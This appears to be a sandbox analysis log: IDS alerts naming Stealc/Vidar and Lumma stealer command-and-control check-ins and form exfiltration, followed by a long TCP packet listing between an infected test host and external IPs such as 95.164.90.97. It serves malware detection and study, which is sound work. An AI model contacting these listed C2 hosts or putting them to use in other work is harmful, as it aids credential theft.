Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T18:43:25.454378+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	49742	95.164.90.97	80	TCP
2024-10-07T18:43:26.089457+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	95.164.90.97	80	192.168.2.4	49742	TCP
2024-10-07T18:43:26.771931+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	95.164.90.97	80	192.168.2.4	49742	TCP
2024-10-07T18:43:45.876510+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	51636	147.45.44.104	80	TCP
2024-10-07T18:43:48.254166+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	53640	188.114.96.3	443	TCP
2024-10-07T18:43:48.254166+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	53640	188.114.96.3	443	TCP
2024-10-07T18:43:49.245915+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.4	53642	45.132.206.251	80	TCP
2024-10-07T18:43:49.350635+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	53641	188.114.96.3	443	TCP
2024-10-07T18:43:49.350635+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	53641	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 18:43:02.302265882 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 7, 2024 18:43:22.978225946 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:22.983273983 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:22.983366966 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:22.983493090 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:22.988508940 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:24.013952971 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:24.014013052 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:24.017633915 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:24.022574902 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:24.772294998 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:24.773307085 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:24.773901939 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:24.779176950 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:25.454171896 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:25.454227924 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:25.454377890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:25.454377890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:25.455651045 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:25.460522890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.081964016 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.081983089 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.081996918 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.082139015 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:26.082139015 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:26.082209110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.082250118 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.082263947 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:26.082314968 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:26.084372044 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:26.089457035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.696664095 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.696837902 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:26.766793013 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:26.766892910 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:26.771930933 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.771944046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.771956921 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.772408009 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.772419930 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:26.772722006 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.623187065 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.623317003 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:27.627604961 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:27.632523060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.916697979 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.916712999 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.916723967 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.916788101 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:27.916789055 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:27.916827917 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.916841030 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.916891098 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:27.916897058 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.916908979 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.916918993 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.916956902 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:27.916990042 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.917001009 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.917041063 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:27.917064905 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:27.918586016 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.918642998 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:27.919939041 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:27.919986963 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.008371115 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.008430958 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.008496046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.008503914 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.008512974 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.008526087 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.008527040 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.008534908 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.008543968 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.008550882 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.008577108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.009315968 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.009366989 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.009396076 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.009404898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.009432077 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.009454966 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.009717941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.009727955 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.009737015 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.009747028 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.009761095 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.009783030 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.010422945 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.010432959 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.010442972 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.010452032 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.010462046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.010471106 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.010499001 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.011224985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.011270046 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.011272907 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.011284113 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.011293888 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.011302948 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.011312962 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.011337996 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.012121916 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.012164116 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.012351036 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.012392044 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.111470938 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.111484051 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.111494064 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.111517906 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.111527920 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.111536980 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.111550093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.111557007 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.111560106 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.111578941 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.111601114 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.111944914 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.111957073 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.111967087 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.112011909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.112015009 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.112020969 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.112030029 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.112101078 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.112545967 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.112584114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.112592936 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.112593889 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.112612963 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.112623930 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.112803936 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.112813950 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.112823009 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.112832069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.112857103 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.112879038 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.113265038 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.113373995 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.113392115 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.113399982 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.113435984 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.113446951 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.113456964 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.113467932 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.113477945 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.113502979 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.113565922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.114198923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.114265919 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.114353895 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.114363909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.114373922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.114384890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.114396095 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.114399910 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.114408016 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.114418983 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.114419937 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.114434004 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.114490032 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.115140915 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.115189075 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.115317106 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.115329027 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.115339994 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.115360022 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.115372896 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.115380049 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.115380049 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.115394115 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.115411997 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.115421057 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.115489960 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.116231918 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.116242886 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.116254091 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.116286993 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.116309881 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.116345882 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.116357088 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.116394043 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.213129997 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213144064 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213171005 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213181973 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213191986 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213212013 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213221073 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213229895 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213241100 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213243961 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.213243961 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.213273048 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.213289976 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.213289976 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.213294983 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213417053 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.213565111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213603020 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213612080 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213629961 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.213666916 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213670969 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.213675022 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213733912 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.213733912 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.213886976 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213896990 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213905096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.213931084 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.213994026 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.214252949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214263916 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214273930 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214320898 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.214320898 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.214337111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214356899 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214365005 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214668989 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.214673042 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214770079 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214782000 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.214782953 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214806080 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.214807987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214817047 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214827061 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214831114 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.214835882 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214847088 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214852095 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.214857101 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.214869976 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.214927912 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.214927912 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.215253115 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215262890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215272903 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215282917 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215291977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215301037 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215310097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.215310097 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215333939 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.215351105 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.215620995 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215631008 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215640068 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215648890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215663910 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215666056 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.215672016 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.215693951 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.215734959 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.216056108 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216136932 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.216161966 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216176033 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216185093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216204882 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216211081 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.216211081 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.216218948 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216228008 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216229916 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.216237068 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.216238022 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216247082 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216253996 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.216257095 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216265917 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216272116 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.216275930 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216286898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.216304064 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.216304064 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.216459990 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.217191935 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217201948 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217211008 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217220068 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217227936 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217236996 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217245102 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217253923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217262983 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217264891 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.217264891 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.217272043 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217288017 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.217288971 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.217289925 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217298985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217305899 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217322111 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.217432022 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.217967987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217979908 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217989922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.217999935 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.218009949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.218038082 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.218054056 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.218061924 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.218061924 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.218064070 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.218075037 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.218085051 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.218094110 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.218105078 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.218110085 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.218115091 CEST	80	49742	95.164.90.97	192.168.2.4
